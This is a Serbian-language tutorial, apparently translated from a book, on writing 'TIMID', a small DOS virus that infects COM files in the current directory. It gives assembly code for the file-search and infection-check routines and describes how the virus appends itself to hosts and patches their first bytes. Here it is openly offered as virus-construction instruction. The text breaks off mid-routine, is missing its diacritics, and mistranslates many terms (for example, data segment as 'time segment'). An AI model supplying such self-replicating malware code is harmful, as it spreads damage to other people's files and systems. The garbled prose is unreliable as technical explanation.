Knjiga o Virusima

Embed Size (px)

Citation preview

  • 1

    SVE KORAKE OVDE OPISANE INITE SAMO I ISKLJUIVO NA VLASTITI RIZIK.

    Prosti COM fajl virusi

    UVOD

    Ovaj rad daje analizu o jednom od najprostijih kompjuterskih virusa. Ovaj virus je veoma mali, kompresuje samo 264 bajta mainskih instrukcija. Takoe je i prilino siguran zato to ima jednu od najjednostavnijih ustaljenih pretraivakih mogunosti. Ovaj virus koga emo zvati TIMID-stidljiv je konstruisan iskljuivo za inficiranje COM fajlova koji se nalaze u direktorijumu za trenutno logovanje u komjuteru. Ne prelazi iz jednog direktorijuma i drajvera ukoliko ga ne pozovete iz drugog direktorijuma tako da se moe veoma lako suzbiti. Takoe je bezopasan zato to ne sadri destruktivni kd, uvek saopti kad inficira drugi fajl tako da se uvek moe znati gde je i kud ide. S druge strane njegova ekstremna jednostavnost znai da ovo nije veoma efektivan virus. Nee inficirati veinu fajlova i lako se moe uhvatiti. Ipak, na osnovu ovog virusa mogu se upoznati sve bitne komponente da se konstruie jedan virus sa minimalnim komplikacijama i sa minimalnim rizikom za one koji eksperimentiu. U sutini, to je odlian instrukcijski alat.

    OSNOVE DOS-a

    Da bi razumeli kako se virus kopira iz jednog programa u drugi moramo da zaemo do detalja u to kako operativni sistem DOS uitava programe u memoriju i kontrolie ih. Virus mora biti dizajniran tako da se njegov kd radije moe izvriti nego samo da napadne program. Samo u tom sluaju se moe i umnoavati. Takoe, mora biti u mogunosti da prenese kontrolu glavnom programu tako da se on moe u potpunosti obaviti. Kad jednom ue u bilo koji program u DOS- u, DOS bez odlaganja poinje da trai fajlove sa tim imenom i njihovo postojanje u COM- u. Ukoliko nae jedan takav fajl memorisae ga i startovati. U suprotnom DOS e traiti fajlove sa istim imenom i njihovu postojanost u EXE da bi ga memorisao i pokrenuo. Ako se ne nae EXE fajl, operativni sistem e na kraju potraiti da li postoji takav fajl u BAT-u da bi ga pokrenuo. Ukoliko propadnu ove tri mogunosti, DOS e izbaciti na ekran poruku: LOA KOMANDA ili POGRENO IME. EXE i COM fajlovi se direktno izvravaju preko Centralne Procesorske Jedinice. Izmeu ove dve vrste programskih fajlova, COM fajlovi su mnogo jednostavniji. Oni imaju odreeni deo formata koji je predodreen za ugranju u strukturu DOS-a, dok su EXE fajlovi dizajnirani da upravljaju odreenim formatskim delom tipinim za veoma velike i komplikovane programe. COM fajl predoava ta bi trebalo memorisati i pokrenuti uz pomo CPU, ali EXE fajl nema tu mogunost. Da bi se pokrenuo COM fajl, DOS mora da uradi pripremu pre nego to tom programu da kontrolu. Najvanije, DOS kontrolie i oznaava korienje memorije u kompjuteru. Znai prvo proveri da li ima dovoljno mesta u memoriji da bi se ubacio program. Ukoliko ima, DOS alocira memoriju koja je potrebna programu. Ovaj korak je neto malo vie od unutranjeg vladanja funkcijama. DOS jednostavno belei koliko slobodnog prostora ima za izvestan program,tako da nee ubacivati drugi program povrh postojeeg, ili da d programu prostornu memoriji, pa da dovede do sukoba sa drugim

  • 2

    programom. Ovakav korak je neophodan zato to se vie od jednog programa moe nalaziti u memoriji u bilo koje vreme. Na primer, memorija postojeeg programa moe ostati u glavnoj memoriji, ali ukoliko roditelj program ubaci dete program u memoriju, ona e ga izbaciti i vratiti kontrolu roditelju. Dalje, DOS gradi blokove memorija od 256 bajta poznatije kao uvod u programske segmente ili PSP. PSP je ostatak starog operativnog sistema poznatijeg kao CP/M. CP/M je bio popularan u kasnim sedamdesetim i ranim osamdesetim godinama kao operativni sistem za mikrokompjutere baziranim na 8080 i Z80 mikroprocesorima.

    U CP/M svetu, kompjuter je imao memoriju od samo 64 kilobajta. Najmanje 256 bajtova te memorije bilo je rezervisano za sam operativni sistem za pakovanje najvanijih podataka. Na primer, lokacija 5 u memoriji sadri bre instrukcije kako da se doe do ostatka operativnog sistema koji se nalazi u visokoj memoriji i te lokacije se razlikuju prema tome koliku memoriju kompjuter ima. Prema tome, programi napisani za ove sprave imae pristupa funkcijama operativnog sistema pozivajui lokaciju 5 u memoriji. Kada je PC- DOS stigao, imitirao je CP/M zato to je CP/M veoma popularan i mnogi programi su napisani da bi se radili po CP/M. Znai PSP (i celi COM fajl koncept) postaje deo DOS-a. Rezultat je taj da se dosta informacija koje se nalaze u PSP malo koriste u DOS programiranju. Neke od njih su veoma izdrljive, kao to emo videti kasnije. Jednom kada je PSP izgraen, DOS preuzima COM fajlove koji se nalaze na disku i uitava ih u memoriju odmah preko PSP, startujui odeljak 100H. Jednom kada je ovo uraeno, DOS je skoro spreman da prekontrolie program. Pre nego to to uradi, ipak, mora

  • 3 podesiti registre u CPU da bi unapred odredio vrednosti. Najpre, odreeni segmenti moraju biti ispravno podeeni, u suprotnom COM program ne moe funkcionisati. Hajde da pogledamo kako i zato funkcioniu ovi delovi registra. U 8088 mikroprocesoru, svi registri su registrovani sa 16 bita. Problem je u tome to e registar od 16 bita dozvoliti samo jednom da se ukljui u memoriju od 64 kilobajta. Ukoliko elite da koristite vie memorije moraete da ukljuite vie bitova. 8088 moe ukljuiti samo jedan megabajt memorije koristei program poznat kao segmentacija. Koristi dva registra da bi stvorio fiziku memoriju u koju se moe ubaciti 20 dugih bajtova umesto samo 16. Takav registarski par postoji u delu registra, koji sadri manje znaajne bajtove. Glavni registar ukazuje na blok memorije od 16 bajtova, a slobodni registar govori nam koliko je jo potrebno dodati bajtova da bi se pokrenuo blok od 16 bajtova i da bi se locirao eljeni bajt u memoriji. Na primer, ako je DS registar podeen na 1275H i BX registar podeen na 457H, onda fiziki 20 bita se uklapaju u bajt DS:(BX):

    1275H10H = 12750H + 457H 12BA7H

    Nijedan deo ne sme biti vei od 15, ali normalno jednom koriene vrednosti rastu do maksimuma,odnosno u rasponu od n 64kb u sporednom registru. Ovo vodi do mogunosti da se napie jedna fizika adresa na nekoliko razliitih naina. Na primer, podeavanje DS=12BAH i BH=7 proizvee istu fiziku adresu 12BA7H kao u primeru iznad. Izbor je samo na tome ta vie odgovara programeru. Ipak, standardno programiranje praktikuje podeavanje glavnih registra i nekorienje istih koliko je god to mogue, koristeci sporedne za klasificiranje to vie podataka i kodova koliko jedan moe (64 kilobajta je neophodno). 8088 ima etiri glavan registra, CS , DS , SS , i ES, to znai Kod segment, Vremenski segment, Segment grupe, i Ekstra segment. Svi oni slue za razliite namene. CS registar specijalizovan je za 64K segmente gde su locirane aktuelne programske instrukcije koje je proizveo CPU. Vremenski segment se iskljuivo koristi za datiranje programa, Segment grupe se koristi za lociranje mnogih programa. ES registar je dostupan kao ekstra glavni registar koji se koristi prilikom programiranja. Moe biti korien i da bi ukazao na delove video memorije, za pisanje datuma direktno na video, i tako dalje. COM fajlovi su konstruisani da operiu sa veoma jednostavnim, ali ogranienim delovima strukture. To jest, oni imaju jedan segment, CS=DS=ES=SS. Svi registri su spakovani u istom segmentu gde je programski kod, i grupa deli ovaj segment. Ukoliko je bilo koji segment 64 kilobajta dug, znai COM program moe koristiti 64 kilobajta za sve kodove,registre i grupe. Kada je PC prvi put predstavljen, svi su ga koristili za pisanje programa ogranienih sa 64 kilobajta i izgledalo je kao da ima veliku memoriju. Ipak, danas nije neobiajno da se pronau programi koji zahtevaju kod od nekoliko stotina kilobajta, i moda jo vie podataka. Takvi programi moraju koristiti mnogo kompleksnije segmentne eme nego to format COM fajla dozvoljava. EXE fajl struktura je dizajnirana da izdri ovu kompleksnost. Povlaenje uz pomo EXE fajla doputa da se programski kod koji se nalazi na disku moe znaajno preinaiti, pre nego to bude izveden uz pomo CPU. DOS to ini u punom vremenu, i potpuno je jednostavan za korienje, ali virus koji napadne EXE fajl ne sme uznemiravati dos tokom procesa modifikacije, ili nee raditi. COM program ne odobrava ovaj modifikacioni proces zato to koristi iskljiivo jedan segment za sve. Ovo omoguava ukljuivanje tanog oblika koda koji treba biti prebaen na disk (COM fajl). Onog trenutka kada treba da se pokrene program, DOS jedino treba da podesi delove registra i da to obavi. PSP je podeen na poetak segmenta alociranog COM fajlom na odeljku 0. DOS pokupi segmente koji su bazirani na tome koliko ke slobodna memorija dostupna i postavlja PSP na sam start tog segmenta. Sam COM fajl se

  • 4

    ukljuuje na odeljak 100H, odmah posle PSP. Kada jednom sve bude spremno, DOS prosleuje kontrolu.

    Na poetak programa preskaui odeljek 100H u segmentu koda gde je program ubaen. Od tada, program tee, i pristupa DOS-u s vremena na vreme, sve dok izgleda pogodno, da bi predstavio razliite U/I funkcije, kao to su itanje i pisanje na disku. Kada je program gotov, prebacuje se kontrola DOS-u, i DOS realizuje memorijske rezerve za taj program i startuje ga bez odlaganja za korienje drugu liniju komandi.

    OPTI PREGLED VIRUSA

    Virus koji se nalazi u COM fajlu, u izvesnom momentu mora preuzeti kontrolu nad kdom tokom trajanja programa. Podrazumeva se da virus moe ispitati COM fajl i utvrditi kako moe preuzeti kontrolu programu bilo kada tokom trajanja programa. Takva analiza bi bila veoma teka, ipak, generalno, sporni virus bi bio bilo ta drugo osim jednostavan. Najlaka taka na kojoj se moe preuzeti kontrola je na samom poetku, kada DOS prelazi na sam start program. Tada je virus u potpunosti slobodan da koristi bilo koji prozor iznad COM fajl oblika koji je DOS ubacio u memoriju ili da pomeri grupu, tako da je ovo veoma sigurno vreme da operie. U ovom stadijumu nije teko obaviti zadatak kako bi se uverili da se virus nee meati u glavni program i otetiti ga ili ga dovesti u stanje nedelovanja. Jednom kada se glavni program pokrene, bilo ta se moe desiti i tada posao oko virusa postaje mnogo tei. Da bi poveali kontrolu odmah na poetku, virus koji inficira COM fajl mora zameniti prvih nekoliko bajtova u COM fajlu sa virusnim kodovima, koji se mogu dodtai na kraju COM fajla. Onda kada se pokrene COM fajl, on odmah prelazi na virus, koji i dalje trai jo fajlova z ainficiranje i inficira ih. U tom sluaju ovi bajtovi se moraju dovesti i vratiti u odeljak 100H, gde originalni program

  • 5 poinje. Ovde se nalazi glavni plan za jednostavnu virisnu infekciju COM fajla. Zamislite virus koji postoji u memoriji, koja je upravo aktivirana.

    On onda izlazi napolje i inficira druge COM fajlove. Korak po korak, moete raditi ovako: inficirani COM fajl je ubaen u memoriju i pokrenut. Inficirani kod prvi preuzima kontrolu. Virus u memoriji pretauje disk da bi pronaao odgovarajui COM fajl i inficira ga. Ukoliko je odgovarajui fajl pronaen, virus dodaje sopstveni kod na kraju fajla. Dalje, uitava prvih nekoliko bajtova fajla u memoriju, i upisuje ih nazad u fajl u specijalnoj oblasti podataka bez virusnog koda. Novom virusu trebae ovi bajtovi kada se pokrene. Dalje virus u memoriji uitava brzo instrukcije na poetak fajla koji je inficiran, to e predti kontrolu novom virusu kada se pokrene glavni program. Onda virus u memoriji preuzima originalne prve bajtove glavnog programa i vraa ih (u odeljak 100H).

    Na kraju virusni kod preskae odeljak 100H i dozvoljava glavnom programu da se pokrene.

    U sledeem delu teksta razvijeemo pravi virus sa ovim specifikacija. Bie nam potrebna oba mehanizma, za pretragu i za kopiranje.

    MEHANIZAM ZA PRETRAIVANjE

    Da bi razumeli kako virus trai COM fajlove da bi ih inficirao na IBM PC stilu kompjuterskih operacija koji je ispod MS DOS-a ili PC- DOS, vano je da razumemo kako DOS priblino ubacuje fajlove i informacije. Sve informacije o skoro svakom fajlu na disku rasporedjene su u dve oblasti na disku, poznatije kao Direktorijum i Alokaciona Tabela Fajlova ili skraeno FAT. Direktorijum sadri 32 bajta opisa fajlova zapisanih za svaki fajl. Ovaj opisni

  • 6 zapis znai imena postojeih fajlova, njihove veliine, datum i vreme stvaranja, osobine fajlova, koji sadre bitne informacije za operativni sistem o tome kako uticati na fajl.

    FAT je mapa celog diska, koja jednostavno informie operativni sistem u kojim oblastima se nalaze koji fajlovi, svaki disk ima dva FAT-a, koji su identine kopije jedan drugog. Drugi je pomoni, u sluaju da se prvi raspadne. Sa druge strane, disk moe imati mnogo direktorijuma. Jedan direktorijum, poznatiji kao Osnovni Direktorijum, je prisutan na svakom disku, ali on moe imati viestruke poddirektorijume, smetene jedan unutar drugog tako da formaraju tri strukture. Ovi poddirektorijumi se mogu formarati, koristiti i premetati po volji korisnika. Ipak, ove tri strukture mogu biti jednostavne ili komplikovane, ba onako kako ih korisnik formira. I FAT i Osnovni Direktorijum su locirani u fiksiranoj oblasti diska, rezervisanoj iskljuivo za njih. Poddirektorijumi su smeteni ba kao i ostali fajlovi i imaju osobine fajla i podeeni su ba tako da indiciraju da su ovi fajlovi direktorijumi. Opretativni

  • 7

    sistem onda utie na ove fajlove poddirektorijuma u potpuno drugaijem svetlu nego drugi fajlovi da bi izgledao kao direktorijum, a ne samo kao drugi fajl. Fajlovi poddirektorijuma sa dre sekvence od 32 bajta zapisa koji opisuju fajlove u tom direktorijumu. Moe sadrati 32 bajta zapisa sa osobinama podeavanja direktorijuma, to znai da je ovaj fajl poddirektorijum poddirektorijuma. Ukoliko jedan eli da ita ili pie fajl, on ne pie program koji locira ispravan direktorijum na disku, ita opis fajla u izvetaju da bi pronaao pravi direktorjum i ime fajla i trai da se otvori taj fajl. DOS obavlja sav posao. Ovo tedi dosta vremena u pisanju i razmatranju programa. Jednostavno ne treba da se deli na zamrene detalje u u pravljanju fajlovima i da se mea u hardver. DOS nam govori ta da radimo koristei Ometajui Servisni ablon (ISR). Ometajui 21H je glavni ISP DOS-a koju emo koristiti. Da bi pozvali ISR, jednostavno se podesi zahtev CPU registru sa bilo kakvim vrednostima, da bi ISR znao ta da radi i da bi pozvao prepreku.

    mov DS,SEG FNAME ; DS:DX points to filename mov DX,OFFSET FNAME xor AL,AL; AL=0 mov AH,3DH; DOS function 3D int 21H; go do it

    Na primer, kod otvori fajl ije se ime nalazi locirano u memoriji FNAME u pripravnosti za uitavanje u memoriju. Ova funkcija govori DOS-u da locira fajl i pripremi ga za uitavanje. INT 21H instrukcije prebacuju kontrolu DOS-u i preputaju mu da zavri posao. Kada DOS zavri otvaranje fajla, kontrole se vraaju izvetaju odmah posle INT 21H. Registar AH sadri funkcionalni broj, koji DOS koristi da bi mogao da odredi ta vi traite. Ostali registri moraju biti podeeni razliito, u zavisnosti ta je AH, da bi sproveo vie informacija do DOS-a da bi se pretpostavilo ta treba raditi. U primeru iznad DS: DX registarski par je korien u trenutku kada treba otvoriti fajl sa odreenim imenom koji je uvan i lociran u memoriji. Opcija AL govori DOS-u da otvori fajl samo za itanje. Sve razliite DOS funkcije, ukljuujui i to kako podesiti sve opcije, detaljno se opisuju u mnogim knjigama na tu temu. Programski Vodi za IBM PC Pitera Nortona je jedan od boljih, pa ukoliko nemate originalni primerak. Ovde emo diskutovati samo o onim DOS funkcijama koje su nam potrebne kao to smo mi njima potrebni. Ovo bi verovatno bilo dovoljno da ga kupite. Ipak, ako elite sami da napiete virus, definitivno se isplati znati kako moete koristiti funkcije virusa, tako dobro kao i sitne detalje o tome kako rade i ega se treba paziti. Da bi napisali postupak za traenje fajlova za inficiranje koristiemo DOS-ove funkcije za pretraivanje. Ljudi koji su napisali DOS znaju da mnogi programi (ne samo virusi) zahtevaju sposobnost traenja fajlova i vrenja raznih operacija na njima ukoliko je bilo koji od zahtevanih tipova naen. Ipak, oni objedinjuju par pretraivakih funkcija koji ometaju upravljanje 21H, zvano Primarno Pretraivanje i Sekundarno Pretraivanje. Ovo su neke od najkomplikovanijih DOS funkcija, zato to one zahtevaju od korisnika da odlino pripremi posao pre nego to ih pozove. Prvi korak je podeavanje ASCII (American Standard Code for Information Intercharge- standardni ameriki kd za razmenu informacija-to je u stvari skup brojeva od 0 do 127 od kojih je svakom dodeljeno slovo abecede, cifre od 0 do 9, pravopisni znaci, drugi udni znaci i 32 specijalna koda koji predstavljaju tastere na tastaturi kao to su Enter, Tab, Esc, Backspace itd.) niza u memoriji da bi naveo direktorijum na pretragu i koje fajlove treba pretraiti. Ovo je jednostavan red bajtova ogranienih nevaeim bajtom (0). DOS moe traiti i izvetavati ili o svim fajlovima u direktorijumu ili o pojedinanim fajlovima koje korisnik moe posebno oznaiti uz pomo karakteristinih fajlova i oznaiti ime fajla koristei neobraene karakteristike kao to su : ! ? * , koje bi vam trebalo biti poznate preko izvravanja

  • 8 komandi kao to su copy*.* a: i dir a ???_100.* od komadnog niza u DOS-u (osnovna knjiga o DOS-u e vam objasniti ove sintakse ukoliko su vam nepoznate) . Na primer, ASCII niz

    DB \system\hyper.*,0

    e podesiti pretraivaku funkciju da trai sve fajlove sa imenom HYPER, i bilo kakvo postojanje u poddirektorijumu zvanom sistem. DOS moe nprnai fajlove kao to su hyper.c , hyper.prn , podesiti opcije DS i DX sve do segmenta i odeljka ovog ASCIIZ niza u memoriji.Opcija CL mora biti podeena na pretragu za fajlom koji se skriva i koji e rei DOS-u koji karakteristini fajlovi mogu uestvovati u potrazi,a koje treba izostaviti. Na kraju, da bi koristili Primarnu Pretraivaku Funkciju, morate podesiti AX=4E H. Ukoliko je Primarna Pretraivaka Funkcija uspena, vraa se na opciju AL=0 i formira 43 bajta podataka u Transferskoj oblasti diska ili DTA.Ovi podaci obezbeuju program tokom pretrage sa imenom fajla koje je DOS upravo pronaao,njegovim karakteristikama,veliinom i datumom stvaranja. Neki od podataka prijavljenih DTA su takoe korieni u DOS-u za prikazivanje Sekundarne Pretraivake Funkcije. Ukoliko pretraga ne moe nai odgovarajui fajl- DOS ponitava AL, bez podataka u DTA. Od kada program koji se poziva poznaje adresu DTA, moe otii tamo da potrai informaciju o fajlu u toj oblasti poto ga je DOS smestio tamo. Da bi nam bilo jasnije kako ova funkcija radi, najbolje bi bilo da to razmotrimo na primeru. Pretpostavimo da ne moemo nai sve fajlove u Direktorijumu za trenutno logovanje koji postoji u COM-u, ukljuujui skrivene i sistem fajlove. Zajedniki jezik kodova da bi izveo prvu pretragu izgledao bi ovako (pretpostavimo da je ds ispravno podeen):

    SRCH_FIRST: mov dx,OFFSET COMFILE;set offset of asciiz string mov cl,00000110B ;set hidden and system attributes mov ah,4EH ;search first function int 21H ;call DOS or al,al ;check to see if successful jnz NOFILE ;go handle no file found condition FOUND: ;come here if file found COMFILE DB *.COM,0

    Ukoliko se ovaj postupak izvede uspeno, DTA moe izgledati ovako:

    03 3F 3F 3F 3F 3F 3F 3F-3F 43 4F 4D 06 18 00 00 .????????COM.... 00 00 00 00 00 00 16 98-30 13 BC 62 00 00 43 4F ........0..b..CO 4D 4D 41 4E 44 2E 43 4F-4D 00 00 00 00 00 00 00 MMAND.COM.......

    Kada program dostigne odreenu kategoriju PRONAENO. U ovom sluaju pretraga nalazi fajl COMAND.COM. U komparaciji sa Primarnom Pretraivakom Funkcijom, sledea pretraga je laka, zato to su svi podaci ve podeeni Primarnom Pretragom.Samo treba podesiti AX=4F H i pozvati DOS da se umea u 21 H:

    mov ah,4FH ;search next function int 21H ;call DOS or AL, AL; see if a file was found jnz NOFILE; no, go handle no file found FOUND2: ;else process the file

  • 9

    ukoliko je drugi fajl pronaen, podaci u DTA e biti podeeni u skladu sa novim fajlom i ah e biti ponovo podeen na nulu. Ukoliko nikakva poklapanja vie nisu pronaena, DOS e podesiti AX na neto sasvim drugo. Ovde treba biti paljiv,jer podaci u DTA nisu promenjeni izmedju primarnog i sekundarnog pretraivanja, zato to Sekudarno pretraivanje oekuje da podaci iz prethodnog budu tamo.Naravno,virus ne treba traiti kroz sve COM fajlove u direktorijumu. Treba pronai jedan koji je sposoban za inficiranje, i potom ga izvriti. Hajde da zamislimo proceduru FILE_OK. Dajui ime fajl na disku, utvrdiemo da li je taj fajl pogodan za inficiranje ili ne. Ukoliko nije, FILE_OK e se vratiti sa nultim obeleijem. Mi moemo iskoristiti ovu oznaku da bismo ustanovili da li da nastavimo pretragu za ovim fajlovima, ili da inficiramo onaj koji smo ve nali. Ukoliko na pretraivaki mehanizam kao celina koristi z obeleija, on govori glavnom kontrolnom programu da je pronaen fajl za inficiranje (z = fajl pronaen, nz = fajl nije pronaen), onda naa kompletna pretraivaka funkcija moe izgledati ovako:

    FIND_FILE: mov DX,OFFSET COMFILE mov AL,00000110B mov AH,4EH ;perform search first int 21H FF_LOOP: or AL, AL ;any possibilities found? jnz FF_DONE ;no - exit with z reset call FILE_OK ;yes, go check if we can infect it jz FF_DONE ;yes - exit with z set mov AH,4FH ;no - search for another file int 21H jmp FF_LOOP ;go back up and see what happened FF_DONE: ret ;return to main virus control routine

  • 10

    Treba prouiti ovaj ustaljeni red paljivo. Vano je da se razume ukoliko elimo da napiemo kopjuterski virus, i generalno, korisno je za sve vrste programa. Naravno, da bi virus radio ispravno, moramo da napiemo FILE_OK funkciju koja pokazuje da li fajl treba inficirati ili ne. Ova funkcija je praktino vana za uspeh ili neuspeh virusa, zato to govori virusu kada i gde treba da se pomeri. Ukoliko kae virusu da inficira program koji nema mesta za virus, onda upravo inficiran program moe biti nepaljivo uniten. Ili ukoliko FILE_OK ne moe da saopti da li je program ve inficiran rei e virusu da ponovo inficira isti fajl ponovo, ponovo i ponovo. Onda e fajl rasti sve vie, sve dok ne bude mesta za inficiranje. Na primer,

    FILE_OK: xor AL, AL ret

    samo se oznai z i vrati se. Ukoliko nae ustaljeno pretraivanje koristi podpretraivaku mogunost uvek e se zaustaviti i rai da je COM fajl koji je pronaen u stvari onaj koji je inficiran. Rezultat toga bi bilo da je COM program u direktorijumu i jedini program koji se moe inficirati. Bio bi inficiran iznova i iznova, i rastao bi unutra sve dok ne preraste svoju granicu veliine i uniti se. Prema tome, predhodni primer FILE_OK moe onesposobiti virus da inficira najmanje jedan fajl, ali nee dovoljno dobro raditi ukoliko je virus osposobljen da skae sa fajla na fajl. Ukoliko elimo dobar FILE_OK moramo izvesti dve provere: (1) Moramo proveriti fajl da bi videli da li je dovoljno veliki da bi za njega mogao da se zakai virus, (2) I mora se proveriti da li je virus ve tamo. Ukoliko je fajl dovoljno veliki, a virus nije prisutan, FILE_OK e se vratiti na PROBAJ OPET na pretraivaki proces. Dok FILE_OK pokuava, pretraiivaka

  • 11

    funkcija je podesila DTA na 43 bajta za informacije o fajlu za proveru, ukljuujui njegovo ime i veliinu. Pretpostavimo da smo definisali dve kategorije F VELIINU i F IME u DTA da bi dobro pristupili veliini fajla i imena fajla koji elimo da inficiramo u ax opciji.

    mov AX,WORD PTR [FSIZE]

    Dalje dodajemo broj bajtova koje e virus dodati fajlu, plus 100H. 100H je potreban zato to DOS takoe alocira prostor za PSP, i ubacuje fajl programa u odeljak 100H. Da bi ustanovili broj bajtova koji su virusu automatski potrebni, treba jednostavno postaviti kategoriju VIRUS na poetak virusnog koda koji piemo i kategoriju KRAJ VIRUSA (END_VIRUS) na kraju, i uoimo razliku. Ukoliko smo dodali ove bajtove AX, i AX se prepuni,onda je fajl koji je pretraivaki proces pronaao prevelik da dozvoli inficiranje. Prepunjavanje uzrokuje podeavanje opcije c , tako da e provera veliine pronai neto nalik ovome.

    FILE_OK: mov ax,WORD PTR [FSIZE] add ax,OFFSET END_VIRUS - OFFSET VIRUS + 100H jc BAD_FILE .

    .

    .

    GOOD_FILE: xor al,al ret BAD_FILE: mov al,1 or al,al ret

    Ovaj proces je zadovoljavajui zato to spreava virus da inficira bilo koji fajl koji je prevelik.Sledei problem sa kojim se FILE_OK postupak mora suoiti jeste kako izbei inficiranje fajla koji je ve inficiran. Kod TIMID virusa,odluili smo da zamenimo prvih nekoliko bajtova glavnog programa sa prelaskom na zaraeni kod. Ipak, FILE_OK procedura moe izai i proitati fajl koji je kandidat za inficiranje da bi utvrdio da li je njegova prva instrukcija napadanje. Ukoliko nije, onda oigledno virus jo uvek nije inficirao fajl. Postoje dve vrste instrukcijskih skokova koje se mogu sudariti sa COM fajlom, poznatije kao blii skok i kratki skok. Virus koji smo kreirali ovde uvek e koristiti blii skok da bi preuzeo kontrolu kada se startuje program.Poto kratki skok ima niz od samo 128 bajta, ne moemo ga koristiti za inficiranje fajla veeg od 128 bajta.Blii skok dozvoljava niz od 64 kilobajta.Prema tome, uvek se moe koristiti za napade od poetka COM fajla do virusa,pa do kraja programa, bez obzira koliki je COM fajl (ukoliko je vei,onda je zaista vaei COM fajl). Blii skok je u mainskom jeziku predstavljen bajtom E9 H, praen sa dva bajta koja govore CPU koliko daleko da skoi. Ipak na prvi test da bi videli da li se infekcija ve pojavila jeste da proverimo da li je prvi bajt u fajlu E9 H. Ukoliko je bilo ta drugo, virus je slobodan da krene napred i inficira. Traenje E9 H nije dovoljno. Mnogi COM fajlovi su dizajnirani tako da je njihova prva instrukcija prelazak na sam poetak. Onda se virus moe sukobiti sa fajlom koji startuje sa E9 H iako nisu nikada ranije bili inficirani. Virus ne moe pretpostaviti da je fajl inficiran samo zato to poinje sa E9. Mora postojati nain koji govori da li je fajl inficiran, ak iako poinje sa E9. Ukoliko ne ujedinimo ove ekstra korake sa procesom FILE_OK, ovaj virus moe prei preko mnogo dobrih COM

  • 12

    fajlova i inficirati ih, zato to misli da su oni ve bili inficirani. Dok nedostaci u objedinjavanju ovakvih osobina u FILE_OK nee izazvati greke u virusu, one ipak ograniavaju njegovu funkcionalnost. Jedini nain da obavimo ovaj test, jednostavno, a ipak veoma pouzdano,je da promenimo jo par bajtova koji su potrebni na poetku glavnog programa. Blii skok e zahtevati tri bajta, tako da moemo uzeti jo dva i ukodirati ih u jedinstveni put tako da virus moe biti siguran da je fajl inficiran ukoliko su ovi bajtovi pravilno ukodirani. Najprostija ema je samo ih podesiti na neku fiksnu vrednost. Koristiemo ove karakteristike BI ovde. Prema tome, kada fajl pone sa bliim skokom pratei bajtove BI=56H i I=49H, moemo skoro biti sigurni da je virus tamo, u suprotnom nije. injenino, u jednom sluaju dok virus otkrije COM fajl koji je podeen na prebacivanje pratei BI , ipak nije inficiran. anse da se ovo desi su veoma male, ipak, ovo nee biti veliki gubitak ukoliko virus propusti da inficira jedan fajl u milion. Inficirae sve ostalo. Da bi proitali prvih pet bajtova fajla, otvoriemo ih sa DOS preprekom 21H, funkcijom 3D H. Ova funkcija zahteva od nas da podesimo DS:DX da ukae na ime fajla (FNAME) i da posebno oznaimo pravila pristupa koja elimo u AL opciji. U FILE_OK procesu virusu jedino treba da proita fajl. Ipak, tamo emo pokuati da ga otvorimo sa itaj/pii opcijom, radije nego samo sa itaj opcijom. Ukoliko su osobine fajla podeene samo na itanje, pokuaj da otvorimo itaj/ Pii metod rezultovae grekom (to su signali DOS-u da podesi noseu plou pri povratku iz INT 21H). Ovo e dozvoliti virusu da detektuje fajlove samo za itanje i da ih dozvoli, poto fajl mora da se napie i inficira. Mnogo je bolje ustanoviti da je fajl samo proitan ovde, u pretraivakom procesu, nego pretpostaviti da je fajl dobar za inficiranje a onda da virus pogrei kada je bukvalno nastupila infekcija. Prema tome, prilikom otvaranja fajla, podesiemo AL=2 da kae DOS-u da otvori itaj/pii metod. Ako DOS otvori fajl uspeno, vraa upravljanje fajlu u AX. Ovo j samo broj koji DOS koristi koristi da uputi fajl na sve budue pretrage. Ovako izgleda kod za otvaranje fajla.

    mov AX,3D02H mov DX,OFFSET FNAME int 21H jc BAD_FILE

  • 13 Jednom kad je fajl otvoren, virus stvarno moe izvesti operaciju itanja, DOS funkciju 3F H. Da bi proitao fajl, jednom mora podesiti BX jednako broju upravljanja fajla i CX broju bajtova koje treba proitati sa fajla. Takodje ds:dx mora biti podeen na lokaciju u memoriji gde trebaju biti smeteni podaci itani sa fajla (to emo zvati START_IMAGE). DOS smeta unutranji fajl pokazatelj za svaki otvoreni fajl koji uva trag gde u fajlu DOS izvrava itanje i pisanje. Fajl pokazatelj je samo za etiri bajta potpuniji, to pokazuje koji bajt u odabranom fajlu upuuje na operaciju itanja i pisanja. Ovaj fajl pokazatelj startuje tako to ukazuje na prvi bajt u fajlu (fajl pokazatelj = 0), i automatski se pomera uz pomo DOS-a sve dok se fajl ita ili pie. Poto startuje na poetku fajla, i kada FILE_OK procedura mora proitati prvih pet bajtova fajla, onda nema potrebe upotrebljavati u ovom trenutku fajl pokazatelj. Ipak trebate biti svesni da je i on tamo, skriven u DOS-u. Ovo je bitan deo u bilo kom itanju ili pisanju fajla koje elimo da uradimo. Kada doe vreme da virus inficira fajl, treba podesiti ovaj fajl pokazatelj da ugrabi par bajtova i premesti ih sa jednog mesta na drugo, na primer. Radei to je mnogo bre (i od tada manje obavetajnije), nego uitavanje celog fajla u memoriju, veto upravljati njim u memoriji i zatim zapisati ga na disku.Za sada ipak, stvarno oitavanje fajla je potpuno jednostavnije.

    mov BX, AX ;put handle in bx mov CX,5 ;prepare to read 5 bytes mov DX,OFFSET START_IMAGE ;to START_IMAGE mov AH,3FH int 21H ;go do it

    Nee brinuti o mogunosti greke u oitavanju onih pet bajtova. Jedina mogua greka je da fajl nije dovoljno dug da oita pet bajtova, a mi smo prilino sigurni u pretpostavci da e veina COM fajlova imati vie od etiri bajta. Na kraju, da bi zatvorili fajl,koristimo funkciju 3E H i podesimo upravljanje fajlom na bx. Stavljajui ih zajedno sve, FILE_OK procedura izgleda ovako

    FILE_OK: mov DX,OFFSET FNAME ;first open the file mov AX,3D02H ;r/w access open file int 21H jc FOK_NZEND ;error opening file - file cant be used mov BX,AX ;put file handle in bx push BX ;and save it on the stack mov CX,5 ;read 5 bytes at the start of the program mov DX,OFFSET START_IMAGE ;and store them here mov AH,3FH ;DOS read function int 21H pop BX ;restore the file handle mov AH,3EH int 21H ;and close the file mov AX,WORD PTR [FSIZE] ;get the file size of the host add AX,OFFSET ENDVIRUS - OFFSET VIRUS ;and add size of virus to it jc FOK_NZEND ;c set if ax overflows (size > 64k) cmp BYTE PTR [START_IMAGE],0E9H ;size ok-is first byte a near jmp? jnz FOK_ZEND ;not near jmp, file must be ok, exit with z

  • 14

